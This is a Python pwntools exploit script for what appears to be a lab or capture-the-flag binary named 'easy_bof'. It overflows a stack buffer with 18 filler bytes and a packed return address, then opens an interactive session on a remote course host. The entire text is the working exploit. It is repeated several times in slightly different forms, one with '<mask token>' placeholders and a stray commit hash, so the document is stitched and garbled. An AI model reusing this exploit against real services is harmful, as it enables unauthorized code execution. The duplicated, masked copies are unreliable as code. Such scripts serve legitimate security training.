from pwn import *
import struct
local = False
elf = 'easy_bof' 

if local: 
    context.binary = './'+elf
    r = process("./"+elf)
else: 
    ip = "sqlab.zongyuan.nctu.me"
    port = 6000
    r = remote(ip,port)

context.arch = 'amd64'

addr = struct.pack("<Q", 0x0000000000400677)
#addr = '\x77\x60\x04\x00\x00\x00\x00\x00'
payload = "A" * 18 + addr

r.recvuntil(':')
r.sendline(payload)
r.interactive()

0f9b305e8f4977f0a0df1e582374956dc7f8fb4b
<mask token>

<mask token>
if local:
    context.binary = './' + elf
    r = process('./' + elf)
else:
    ip = 'sqlab.zongyuan.nctu.me'
    port = 6000
    r = remote(ip, port)
<mask token>
r.recvuntil(':')
r.sendline(payload)
r.interactive()

<mask token>
local = False
elf = 'easy_bof'
if local:
    context.binary = './' + elf
    r = process('./' + elf)
else:
    ip = 'sqlab.zongyuan.nctu.me'
    port = 6000
    r = remote(ip, port)
context.arch = 'amd64'
addr = struct.pack('<Q', 4195959)
payload = 'A' * 18 + addr
r.recvuntil(':')
r.sendline(payload)
r.interactive()

from pwn import *
import struct
local = False
elf = 'easy_bof'
if local:
    context.binary = './' + elf
    r = process('./' + elf)
else:
    ip = 'sqlab.zongyuan.nctu.me'
    port = 6000
    r = remote(ip, port)
context.arch = 'amd64'
addr = struct.pack('<Q', 4195959)
payload = 'A' * 18 + addr
r.recvuntil(':')
r.sendline(payload)
r.interactive()

from pwn import *
import struct
local = False
elf = 'easy_bof' 

if local: 
    context.binary = './'+elf
    r = process("./"+elf)
else: 
    ip = "sqlab.zongyuan.nctu.me"
    port = 6000
    r = remote(ip,port)

context.arch = 'amd64'

addr = struct.pack("<Q", 0x0000000000400677)
#addr = '\x77\x60\x04\x00\x00\x00\x00\x00'
payload = "A" * 18 + addr

r.recvuntil(':')
r.sendline(payload)
r.interactive()
